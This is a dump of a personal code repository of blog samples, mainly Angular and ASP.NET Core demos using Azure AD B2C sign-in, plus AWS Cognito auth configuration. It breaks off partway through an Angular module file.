├── cloud_friends ├── js │ ├── test.drawio │ ├── config.js │ ├── apiGateway-js-sdk │ │ ├── lib │ │ │ ├── apiGatewayCore │ │ │ │ ├── apiGatewayClient.js │ │ │ │ ├── utils.js │ │ │ │ ├── simpleHttpClient.js │ │ │ │ └── sigV4Client.js │ │ │ ├── CryptoJS │ │ │ │ ├── components │ │ │ │ │ ├── enc-base64.js │ │ │ │ │ └── hmac.js │ │ │ │ └── rollups │ │ │ │ │ ├── sha256.js │ │ │ │ │ └── hmac-sha256.js │ │ │ └── url-template │ │ │ │ └── url-template.js │ │ ├── README.md │ │ └── apigClient.js │ └── app.js ├── friends.html ├── confirm.html ├── chat.html ├── signin.html ├── signup.html ├── index.html └── style.css ├── README.md ├── jitbox ├── JitBoxNg │ ├── src │ │ ├── assets │ │ │ ├── .gitkeep │ │ │ └── logo.png │ │ ├── app │ │ │ ├── navbar │ │ │ │ ├── navbar.component.css │ │ │ │ ├── navbar.component.html │ │ │ │ └── navbar.component.ts │ │ │ ├── app.component.html │ │ │ ├── app-routing.module.ts │ │ │ ├── app.component.ts │ │ │ └── app.module.ts │ │ ├── favicon.ico │ │ ├── environments │ │ │ ├── environment.prod.ts │ │ │ └── environment.ts │ │ ├── styles.css │ │ ├── index.html │ │ ├── main.ts │ │ └── polyfills.ts │ ├── tsconfig.app.json │ ├── browserslist │ ├── tsconfig.json │ ├── .gitignore │ ├── README.md │ ├── package.json │ └── angular.json ├── Readme.md └── JitBox.Api │ ├── appsettings.Development.json │ ├── WeatherForecast.cs │ ├── JitBox.Api.csproj │ ├── appsettings.json │ ├── Program.cs │ ├── Properties │ └── launchSettings.json │ ├── .vscode │ ├── tasks.json │ └── launch.json │ ├── Controllers │ └── WeatherForecastController.cs │ └── Startup.cs ├── jitbox-api ├── JitBoxNg │ ├── src │ │ ├── assets │ │ │ ├── .gitkeep │ │ │ └── logo.png │ │ ├── app │ │ │ ├── navbar │ │ │ │ ├── navbar.component.css │ │ │ │ ├── navbar.component.html │ │ │ │ └── navbar.component.ts │ │ │ ├── app-routing.module.ts │ │ │ ├── app.component.html │ │ │ ├── app.module.ts │ │ │ └── app.component.ts │ │ ├── favicon.ico │ │ ├── environments │ │ │ ├── environment.prod.ts │ │ │ └── environment.ts │ │ ├── styles.css │ │ ├── index.html │ │ ├── main.ts │ │ └── polyfills.ts │ ├── tsconfig.app.json │ ├── browserslist │ ├── tsconfig.json │ ├── .gitignore │ ├── README.md │ ├── package.json │ └── angular.json ├── Readme.md └── JitBox.Api │ ├── appsettings.Development.json │ ├── WeatherForecast.cs │ ├── JitBox.Api.csproj │ ├── OpenWeatherResponse.cs │ ├── appsettings.json │ ├── Program.cs │ ├── Properties │ └── launchSettings.json │ ├── .vscode │ ├── tasks.json │ └── launch.json │ ├── Startup.cs │ └── Controllers │ └── WeatherForecastController.cs ├── cognito_auth ├── config.js ├── confirm.html ├── signin.html ├── signup.html ├── index.html ├── app.js └── style.css ├── client └── client.py ├── rev_shell ├── client.py └── server.py └── .gitignore /cloud_friends/js/test.drawio: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # blog 2 | Blog snippets 3 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/assets/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/assets/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/app/navbar/navbar.component.css: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/app/navbar/navbar.component.css: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjit/blog/HEAD/jitbox/JitBoxNg/src/favicon.ico -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjit/blog/HEAD/jitbox-api/JitBoxNg/src/favicon.ico -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjit/blog/HEAD/jitbox/JitBoxNg/src/assets/logo.png -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/environments/environment.prod.ts: -------------------------------------------------------------------------------- 1 | export const environment = { 2 | production: true 3 | }; 4 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/environments/environment.prod.ts: -------------------------------------------------------------------------------- 1 | export const environment = { 2 | production: true 3 | }; 4 | -------------------------------------------------------------------------------- /jitbox/Readme.md: -------------------------------------------------------------------------------- 1 | # JitBox 2 | 3 | Its a sample application to expirement with AzureADB2C. Please check medium blog. 4 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjit/blog/HEAD/jitbox-api/JitBoxNg/src/assets/logo.png -------------------------------------------------------------------------------- /jitbox-api/Readme.md: -------------------------------------------------------------------------------- 1 | # JitBox 2 | 3 | Its a sample application to expirement with AzureADB2C. Please check medium blog. 4 | -------------------------------------------------------------------------------- /cloud_friends/js/config.js: -------------------------------------------------------------------------------- 1 | var poolData = { 2 | UserPoolId: "us-west-xxxxxx", // Please provide yours 3 | ClientId: "4ckbanaxxxxxxxxxx", // Please provide yours 4 | }; 5 | -------------------------------------------------------------------------------- /cognito_auth/config.js: -------------------------------------------------------------------------------- 1 | var poolData = { 2 | UserPoolId: "us-west-2_fh4MB3Xg7", // Please provide yours 3 | ClientId: "4ckbanana012mh58tnhqdtbhpm", // Please provide yours 4 | }; -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/styles.css: -------------------------------------------------------------------------------- 1 | /* You can add global styles to this file, and also import other style files */ 2 | @import "../node_modules/bootstrap/dist/css/bootstrap.min.css"; 3 | @import "../node_modules/font-awesome/css/font-awesome.min.css"; -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/styles.css: -------------------------------------------------------------------------------- 1 | /* You can add global styles to this file, and also import other style files */ 2 | @import "../node_modules/bootstrap/dist/css/bootstrap.min.css"; 3 | @import "../node_modules/font-awesome/css/font-awesome.min.css"; -------------------------------------------------------------------------------- /jitbox-api/JitBox.Api/appsettings.Development.json: -------------------------------------------------------------------------------- 1 | { 2 | "Logging": { 3 | "LogLevel": { 4 | "Default": "Information", 5 | "Microsoft": "Warning", 6 | "Microsoft.Hosting.Lifetime": "Information" 7 | } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /jitbox/JitBox.Api/appsettings.Development.json: -------------------------------------------------------------------------------- 1 | { 2 | "Logging": { 3 | "LogLevel": { 4 | "Default": "Information", 5 | "Microsoft": "Warning", 6 | "Microsoft.Hosting.Lifetime": "Information" 7 | } 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/app/app.component.html: -------------------------------------------------------------------------------- 1 |
2 | 3 |
4 |
5 | 6 |
7 |
8 |
9 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/tsconfig.app.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "./tsconfig.json", 3 | "compilerOptions": { 4 | "outDir": "./out-tsc/app", 5 | "types": [] 6 | }, 7 | "files": [ 8 | "src/main.ts", 9 | "src/polyfills.ts" 10 | ], 11 | "include": [ 12 | "src/**/*.d.ts" 13 | ] 14 | } 15 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/tsconfig.app.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "./tsconfig.json", 3 | "compilerOptions": { 4 | "outDir": "./out-tsc/app", 5 | "types": [] 6 | }, 7 | "files": [ 8 | "src/main.ts", 9 | "src/polyfills.ts" 10 | ], 11 | "include": [ 12 | "src/**/*.d.ts" 13 | ] 14 | } 15 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/app/app-routing.module.ts: -------------------------------------------------------------------------------- 1 | import { NgModule } from '@angular/core'; 2 | import { Routes, RouterModule } from '@angular/router'; 3 | 4 | 5 | const routes: Routes = []; 6 | 7 | @NgModule({ 8 | imports: [RouterModule.forRoot(routes)], 9 | exports: [RouterModule] 10 | }) 11 | export class AppRoutingModule { } 12 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/app/app-routing.module.ts: -------------------------------------------------------------------------------- 1 | import { NgModule } from '@angular/core'; 2 | import { Routes, RouterModule } from '@angular/router'; 3 | 4 | 5 | const routes: Routes = []; 6 | 7 | @NgModule({ 8 | imports: [RouterModule.forRoot(routes)], 9 | exports: [RouterModule] 10 | }) 11 | export class AppRoutingModule { } 12 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | JitBoxNg 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | JitBoxNg 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /jitbox/JitBox.Api/WeatherForecast.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace JitBox.Api 4 | { 5 | public class WeatherForecast 6 | { 7 | public DateTime Date { get; set; } 8 | 9 | public int TemperatureC { get; set; } 10 | 11 | public int TemperatureF => 32 + (int)(TemperatureC / 0.5556); 12 | 13 | public string Summary { get; set; } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /jitbox-api/JitBox.Api/WeatherForecast.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace JitBox.Api 4 | { 5 | public class WeatherForecast 6 | { 7 | public DateTime Date { get; set; } 8 | 9 | public int TemperatureC { get; set; } 10 | 11 | public int TemperatureF => 32 + (int)(TemperatureC / 0.5556); 12 | 13 | public string Summary { get; set; } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/main.ts: -------------------------------------------------------------------------------- 1 | import { enableProdMode } from '@angular/core'; 2 | import { platformBrowserDynamic } from '@angular/platform-browser-dynamic'; 3 | 4 | import { AppModule } from './app/app.module'; 5 | import { environment } from './environments/environment'; 6 | 7 | if (environment.production) { 8 | enableProdMode(); 9 | } 10 | 11 | platformBrowserDynamic().bootstrapModule(AppModule) 12 | .catch(err => console.error(err)); 13 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/main.ts: -------------------------------------------------------------------------------- 1 | import { enableProdMode } from '@angular/core'; 2 | import { platformBrowserDynamic } from '@angular/platform-browser-dynamic'; 3 | 4 | import { AppModule } from './app/app.module'; 5 | import { environment } from './environments/environment'; 6 | 7 | if (environment.production) { 8 | enableProdMode(); 9 | } 10 | 11 | platformBrowserDynamic().bootstrapModule(AppModule) 12 | .catch(err => console.error(err)); 13 | -------------------------------------------------------------------------------- /jitbox/JitBox.Api/JitBox.Api.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | netcoreapp3.1 5 | aspnet-JitBox.Api-771BDD15-B697-4E15-992B-9C9C86DF1943 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /jitbox-api/JitBox.Api/JitBox.Api.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | netcoreapp3.1 5 | aspnet-JitBox.Api-771BDD15-B697-4E15-992B-9C9C86DF1943 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/browserslist: -------------------------------------------------------------------------------- 1 | # This file is used by the build system to adjust CSS and JS output to support the specified browsers below. 2 | # For additional information regarding the format and rule options, please see: 3 | # https://github.com/browserslist/browserslist#queries 4 | 5 | # You can see what browsers were selected by your queries by running: 6 | # npx browserslist 7 | 8 | > 0.5% 9 | last 2 versions 10 | Firefox ESR 11 | not dead 12 | not IE 9-11 # For IE 9-11 support, remove 'not'. -------------------------------------------------------------------------------- /jitbox-api/JitBox.Api/OpenWeatherResponse.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | public class OpenWeatherResponse 4 | { 5 | public string Name { get; set; } 6 | public IEnumerable Weather { get; set; } 7 | public Main Main { get; set; } 8 | } 9 | public class WeatherDescription 10 | { 11 | public string Main { get; set; } 12 | public string Description { get; set; } 13 | } 14 | 15 | public class Main 16 | { 17 | public string Temp { get; set; } 18 | } -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/browserslist: -------------------------------------------------------------------------------- 1 | # This file is used by the build system to adjust CSS and JS output to support the specified browsers below. 2 | # For additional information regarding the format and rule options, please see: 3 | # https://github.com/browserslist/browserslist#queries 4 | 5 | # You can see what browsers were selected by your queries by running: 6 | # npx browserslist 7 | 8 | > 0.5% 9 | last 2 versions 10 | Firefox ESR 11 | not dead 12 | not IE 9-11 # For IE 9-11 support, remove 'not'. -------------------------------------------------------------------------------- /jitbox/JitBox.Api/appsettings.json: -------------------------------------------------------------------------------- 1 | { 2 | "AzureAdB2C": { 3 | "Instance": "https://jitbox.b2clogin.com/", 4 | "ClientId": "6d7ac62e-f555-4e50-9c11-a834c2c2f371", 5 | "Domain": "jitbox.onmicrosoft.com", 6 | "SignUpSignInPolicyId": "B2C_1_susi" 7 | }, 8 | "Logging": { 9 | "LogLevel": { 10 | "Default": "Information", 11 | "Microsoft": "Warning", 12 | "Microsoft.Hosting.Lifetime": "Information" 13 | } 14 | }, 15 | "AllowedHosts": "*" 16 | } 17 | -------------------------------------------------------------------------------- /jitbox-api/JitBox.Api/appsettings.json: -------------------------------------------------------------------------------- 1 | { 2 | "AzureAdB2C": { 3 | "Instance": "https://jitbox.b2clogin.com/", 4 | "ClientId": "6r7ac62e-f532-4e50-9c11-a834c2c2f371", 5 | "Domain": "jitbox.onmicrosoft.com", 6 | "SignUpSignInPolicyId": "B2C_1_susi" 7 | }, 8 | "Logging": { 9 | "LogLevel": { 10 | "Default": "Information", 11 | "Microsoft": "Warning", 12 | "Microsoft.Hosting.Lifetime": "Information" 13 | } 14 | }, 15 | "AllowedHosts": "*" 16 | } 17 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/app/app.component.html: -------------------------------------------------------------------------------- 1 |
2 | 3 |
4 |
5 | 6 | 7 |
8 |

City : {{city}}

9 |

Temperature : {{temp}}

10 |

Summary : {{summary}}

11 |
12 |
13 |
14 |
15 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compileOnSave": false, 3 | "compilerOptions": { 4 | "baseUrl": "./", 5 | "outDir": "./dist/out-tsc", 6 | "sourceMap": true, 7 | "declaration": false, 8 | "downlevelIteration": true, 9 | "experimentalDecorators": true, 10 | "module": "esnext", 11 | "moduleResolution": "node", 12 | "importHelpers": true, 13 | "target": "es2015", 14 | "lib": [ 15 | "es2018", 16 | "dom" 17 | ] 18 | }, 19 | "angularCompilerOptions": { 20 | "fullTemplateTypeCheck": true, 21 | "strictInjectionParameters": true 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compileOnSave": false, 3 | "compilerOptions": { 4 | "baseUrl": "./", 5 | "outDir": "./dist/out-tsc", 6 | "sourceMap": true, 7 | "declaration": false, 8 | "downlevelIteration": true, 9 | "experimentalDecorators": true, 10 | "module": "esnext", 11 | "moduleResolution": "node", 12 | "importHelpers": true, 13 | "target": "es2015", 14 | "lib": [ 15 | "es2018", 16 | "dom" 17 | ] 18 | }, 19 | "angularCompilerOptions": { 20 | "fullTemplateTypeCheck": true, 21 | "strictInjectionParameters": true 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/environments/environment.ts: -------------------------------------------------------------------------------- 1 | // This file can be replaced during build by using the `fileReplacements` array. 2 | // `ng build --prod` replaces `environment.ts` with `environment.prod.ts`. 3 | // The list of file replacements can be found in `angular.json`. 4 | 5 | export const environment = { 6 | production: false 7 | }; 8 | 9 | /* 10 | * For easier debugging in development mode, you can import the following file 11 | * to ignore zone related error stack frames such as `zone.run`, `zoneDelegate.invokeTask`. 12 | * 13 | * This import should be commented out in production mode because it will have a negative impact 14 | * on performance if an error is thrown. 15 | */ 16 | // import 'zone.js/dist/zone-error'; // Included with Angular CLI. 17 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/src/environments/environment.ts: -------------------------------------------------------------------------------- 1 | // This file can be replaced during build by using the `fileReplacements` array. 2 | // `ng build --prod` replaces `environment.ts` with `environment.prod.ts`. 3 | // The list of file replacements can be found in `angular.json`. 4 | 5 | export const environment = { 6 | production: false 7 | }; 8 | 9 | /* 10 | * For easier debugging in development mode, you can import the following file 11 | * to ignore zone related error stack frames such as `zone.run`, `zoneDelegate.invokeTask`. 12 | * 13 | * This import should be commented out in production mode because it will have a negative impact 14 | * on performance if an error is thrown. 15 | */ 16 | // import 'zone.js/dist/zone-error'; // Included with Angular CLI. 17 | -------------------------------------------------------------------------------- /jitbox/JitBox.Api/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using Microsoft.AspNetCore.Hosting; 6 | using Microsoft.Extensions.Configuration; 7 | using Microsoft.Extensions.Hosting; 8 | using Microsoft.Extensions.Logging; 9 | 10 | namespace JitBox.Api 11 | { 12 | public class Program 13 | { 14 | public static void Main(string[] args) 15 | { 16 | CreateHostBuilder(args).Build().Run(); 17 | } 18 | 19 | public static IHostBuilder CreateHostBuilder(string[] args) => 20 | Host.CreateDefaultBuilder(args) 21 | .ConfigureWebHostDefaults(webBuilder => 22 | { 23 | webBuilder.UseStartup(); 24 | }); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /jitbox-api/JitBox.Api/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Threading.Tasks; 5 | using Microsoft.AspNetCore.Hosting; 6 | using Microsoft.Extensions.Configuration; 7 | using Microsoft.Extensions.Hosting; 8 | using Microsoft.Extensions.Logging; 9 | 10 | namespace JitBox.Api 11 | { 12 | public class Program 13 | { 14 | public static void Main(string[] args) 15 | { 16 | CreateHostBuilder(args).Build().Run(); 17 | } 18 | 19 | public static IHostBuilder CreateHostBuilder(string[] args) => 20 | Host.CreateDefaultBuilder(args) 21 | .ConfigureWebHostDefaults(webBuilder => 22 | { 23 | webBuilder.UseStartup(); 24 | }); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/.gitignore: -------------------------------------------------------------------------------- 1 | # See http://help.github.com/ignore-files/ for more about ignoring files. 2 | 3 | # compiled output 4 | /dist 5 | /tmp 6 | /out-tsc 7 | # Only exists if Bazel was run 8 | /bazel-out 9 | 10 | # dependencies 11 | /node_modules 12 | 13 | # profiling files 14 | chrome-profiler-events*.json 15 | speed-measure-plugin*.json 16 | 17 | # IDEs and editors 18 | /.idea 19 | .project 20 | .classpath 21 | .c9/ 22 | *.launch 23 | .settings/ 24 | *.sublime-workspace 25 | 26 | # IDE - VSCode 27 | .vscode/* 28 | !.vscode/settings.json 29 | !.vscode/tasks.json 30 | !.vscode/launch.json 31 | !.vscode/extensions.json 32 | .history/* 33 | 34 | # misc 35 | /.sass-cache 36 | /connect.lock 37 | /coverage 38 | /libpeerconnection.log 39 | npm-debug.log 40 | yarn-error.log 41 | testem.log 42 | /typings 43 | 44 | # System Files 45 | .DS_Store 46 | Thumbs.db 47 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/.gitignore: -------------------------------------------------------------------------------- 1 | # See http://help.github.com/ignore-files/ for more about ignoring files. 2 | 3 | # compiled output 4 | /dist 5 | /tmp 6 | /out-tsc 7 | # Only exists if Bazel was run 8 | /bazel-out 9 | 10 | # dependencies 11 | /node_modules 12 | 13 | # profiling files 14 | chrome-profiler-events*.json 15 | speed-measure-plugin*.json 16 | 17 | # IDEs and editors 18 | /.idea 19 | .project 20 | .classpath 21 | .c9/ 22 | *.launch 23 | .settings/ 24 | *.sublime-workspace 25 | 26 | # IDE - VSCode 27 | .vscode/* 28 | !.vscode/settings.json 29 | !.vscode/tasks.json 30 | !.vscode/launch.json 31 | !.vscode/extensions.json 32 | .history/* 33 | 34 | # misc 35 | /.sass-cache 36 | /connect.lock 37 | /coverage 38 | /libpeerconnection.log 39 | npm-debug.log 40 | yarn-error.log 41 | testem.log 42 | /typings 43 | 44 | # System Files 45 | .DS_Store 46 | Thumbs.db 47 | -------------------------------------------------------------------------------- /jitbox/JitBox.Api/Properties/launchSettings.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "http://json.schemastore.org/launchsettings.json", 3 | "iisSettings": { 4 | "windowsAuthentication": false, 5 | "anonymousAuthentication": true, 6 | "iisExpress": { 7 | "applicationUrl": "http://localhost:33668", 8 | "sslPort": 44312 9 | } 10 | }, 11 | "profiles": { 12 | "IIS Express": { 13 | "commandName": "IISExpress", 14 | "launchBrowser": true, 15 | "launchUrl": "weatherforecast", 16 | "environmentVariables": { 17 | "ASPNETCORE_ENVIRONMENT": "Development" 18 | } 19 | }, 20 | "JitBox.Api": { 21 | "commandName": "Project", 22 | "launchBrowser": true, 23 | "launchUrl": "weatherforecast", 24 | "applicationUrl": "https://localhost:5001;http://localhost:5000", 25 | "environmentVariables": { 26 | "ASPNETCORE_ENVIRONMENT": "Development" 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /jitbox-api/JitBox.Api/Properties/launchSettings.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "http://json.schemastore.org/launchsettings.json", 3 | "iisSettings": { 4 | "windowsAuthentication": false, 5 | "anonymousAuthentication": true, 6 | "iisExpress": { 7 | "applicationUrl": "http://localhost:33668", 8 | "sslPort": 44312 9 | } 10 | }, 11 | "profiles": { 12 | "IIS Express": { 13 | "commandName": "IISExpress", 14 | "launchBrowser": true, 15 | "launchUrl": "weatherforecast", 16 | "environmentVariables": { 17 | "ASPNETCORE_ENVIRONMENT": "Development" 18 | } 19 | }, 20 | "JitBox.Api": { 21 | "commandName": "Project", 22 | "launchBrowser": true, 23 | "launchUrl": "weatherforecast", 24 | "applicationUrl": "https://localhost:5001;http://localhost:5000", 25 | "environmentVariables": { 26 | "ASPNETCORE_ENVIRONMENT": "Development" 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/README.md: -------------------------------------------------------------------------------- 1 | # JitBoxNg 2 | 3 | This project was generated with [Angular CLI](https://github.com/angular/angular-cli) version 9.1.3. 4 | 5 | ## Development server 6 | 7 | Run `ng serve` for a dev server. Navigate to `http://localhost:4200/`. The app will automatically reload if you change any of the source files. 8 | 9 | ## Code scaffolding 10 | 11 | Run `ng generate component component-name` to generate a new component. You can also use `ng generate directive|pipe|service|class|guard|interface|enum|module`. 12 | 13 | ## Build 14 | 15 | Run `ng build` to build the project. The build artifacts will be stored in the `dist/` directory. Use the `--prod` flag for a production build. 16 | 17 | ## Running unit tests 18 | 19 | Run `ng test` to execute the unit tests via [Karma](https://karma-runner.github.io). 20 | 21 | ## Running end-to-end tests 22 | 23 | Run `ng e2e` to execute the end-to-end tests via [Protractor](http://www.protractortest.org/). 24 | 25 | ## Further help 26 | 27 | To get more help on the Angular CLI use `ng help` or go check out the [Angular CLI README](https://github.com/angular/angular-cli/blob/master/README.md). 28 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/README.md: -------------------------------------------------------------------------------- 1 | # JitBoxNg 2 | 3 | This project was generated with [Angular CLI](https://github.com/angular/angular-cli) version 9.1.3. 4 | 5 | ## Development server 6 | 7 | Run `ng serve` for a dev server. Navigate to `http://localhost:4200/`. The app will automatically reload if you change any of the source files. 8 | 9 | ## Code scaffolding 10 | 11 | Run `ng generate component component-name` to generate a new component. You can also use `ng generate directive|pipe|service|class|guard|interface|enum|module`. 12 | 13 | ## Build 14 | 15 | Run `ng build` to build the project. The build artifacts will be stored in the `dist/` directory. Use the `--prod` flag for a production build. 16 | 17 | ## Running unit tests 18 | 19 | Run `ng test` to execute the unit tests via [Karma](https://karma-runner.github.io). 20 | 21 | ## Running end-to-end tests 22 | 23 | Run `ng e2e` to execute the end-to-end tests via [Protractor](http://www.protractortest.org/). 24 | 25 | ## Further help 26 | 27 | To get more help on the Angular CLI use `ng help` or go check out the [Angular CLI README](https://github.com/angular/angular-cli/blob/master/README.md). 28 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/app/app.component.ts: -------------------------------------------------------------------------------- 1 | import { Component } from '@angular/core'; 2 | import { MsalService } from '@azure/msal-angular'; 3 | import { HttpClient, HttpHeaders } from '@angular/common/http'; 4 | 5 | const API_ENDPOINT = 'https://localhost:5001/WeatherForecast'; 6 | 7 | @Component({ 8 | selector: 'app-root', 9 | templateUrl:'app.component.html', 10 | styles: [] 11 | }) 12 | export class AppComponent { 13 | title = 'JitBoxNg'; 14 | 15 | constructor(private authService:MsalService, private http:HttpClient){} 16 | 17 | onApiCall(){ 18 | console.log('Api call'); 19 | this.authService 20 | .acquireTokenSilent({ 21 | scopes: ['https://jitbox.onmicrosoft.com/api/read_data'], 22 | }) 23 | .then((result: any) => { 24 | console.log(result); 25 | this.http 26 | .get(API_ENDPOINT, { 27 | responseType: 'text', 28 | headers: new HttpHeaders({ 29 | 'Authorization':'Bearer '+ result.accessToken 30 | }) 31 | }) 32 | .subscribe( 33 | (result) => { 34 | console.log(result); 35 | }, 36 | (error) => console.log(error) 37 | ); 38 | }); 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "jit-box-ng", 3 | "version": "0.0.0", 4 | "scripts": { 5 | "ng": "ng", 6 | "start": "ng serve", 7 | "build": "ng build", 8 | "test": "ng test", 9 | "lint": "ng lint", 10 | "e2e": "ng e2e" 11 | }, 12 | "private": true, 13 | "dependencies": { 14 | "@angular/animations": "~9.1.3", 15 | "@angular/common": "~9.1.3", 16 | "@angular/compiler": "~9.1.3", 17 | "@angular/core": "~9.1.3", 18 | "@angular/forms": "~9.1.3", 19 | "@angular/platform-browser": "~9.1.3", 20 | "@angular/platform-browser-dynamic": "~9.1.3", 21 | "@angular/router": "~9.1.3", 22 | "@azure/msal-angular": "^1.1.1", 23 | "bootstrap": "^4.5.3", 24 | "font-awesome": "^4.7.0", 25 | "jquery": "^3.5.1", 26 | "msal": "^1.4.1", 27 | "rxjs": "~6.5.4", 28 | "tslib": "^1.10.0", 29 | "zone.js": "~0.10.2" 30 | }, 31 | "devDependencies": { 32 | "@angular-devkit/build-angular": "~0.901.3", 33 | "@angular/cli": "~9.1.3", 34 | "@angular/compiler-cli": "~9.1.3", 35 | "@angular/language-service": "~9.1.3", 36 | "@types/node": "^12.11.1", 37 | "ts-node": "~8.3.0", 38 | "tslint": "~6.1.0", 39 | "typescript": "~3.8.3" 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /jitbox-api/JitBoxNg/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "jit-box-ng", 3 | "version": "0.0.0", 4 | "scripts": { 5 | "ng": "ng", 6 | "start": "ng serve", 7 | "build": "ng build", 8 | "test": "ng test", 9 | "lint": "ng lint", 10 | "e2e": "ng e2e" 11 | }, 12 | "private": true, 13 | "dependencies": { 14 | "@angular/animations": "~9.1.3", 15 | "@angular/common": "~9.1.3", 16 | "@angular/compiler": "~9.1.3", 17 | "@angular/core": "~9.1.3", 18 | "@angular/forms": "~9.1.3", 19 | "@angular/platform-browser": "~9.1.3", 20 | "@angular/platform-browser-dynamic": "~9.1.3", 21 | "@angular/router": "~9.1.3", 22 | "@azure/msal-angular": "^1.1.1", 23 | "bootstrap": "^4.5.3", 24 | "font-awesome": "^4.7.0", 25 | "jquery": "^3.5.1", 26 | "msal": "^1.4.1", 27 | "rxjs": "~6.5.4", 28 | "tslib": "^1.10.0", 29 | "zone.js": "~0.10.2" 30 | }, 31 | "devDependencies": { 32 | "@angular-devkit/build-angular": "~0.901.3", 33 | "@angular/cli": "~9.1.3", 34 | "@angular/compiler-cli": "~9.1.3", 35 | "@angular/language-service": "~9.1.3", 36 | "@types/node": "^12.11.1", 37 | "ts-node": "~8.3.0", 38 | "tslint": "~6.1.0", 39 | "typescript": "~3.8.3" 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /jitbox/JitBoxNg/src/app/app.module.ts: -------------------------------------------------------------------------------- 1 | import { BrowserModule } from '@angular/platform-browser'; 2 | import { NgModule } from '@angular/core'; 3 | 4 | import { AppRoutingModule } from './app-routing.module'; 5 | import { AppComponent } from './app.component'; 6 | import { NavbarComponent } from './navbar/navbar.component'; 7 | import {HttpClientModule} from '@angular/common/http'; 8 | import {MsalModule} from '@azure/msal-angular' 9 | 10 | @NgModule({ 11 | declarations: [ 12 | AppComponent, 13 | NavbarComponent 14 | ], 15 | imports: [ 16 | BrowserModule, 17 | AppRoutingModule, 18 | HttpClientModule, 19 | MsalModule.forRoot({ 20 | auth:{ 21 | clientId:"92f48668-a10b-4d89-b7d2-7d355dbf3e59", // Application Id of Application registered in B2C 22 | authority:"https://jitbox.b2clogin.com/jitbox.onmicrosoft.com/B2C_1_susi", //signup-signin userflow 23 | validateAuthority:false, 24 | redirectUri:"http://localhost:4200/" 25 | }, 26 | cache:{ 27 | cacheLocation:"sessionStorage", 28 | storeAuthStateInCookie:false 29 | } 30 | },{ 31 | consentScopes:[ 32 | 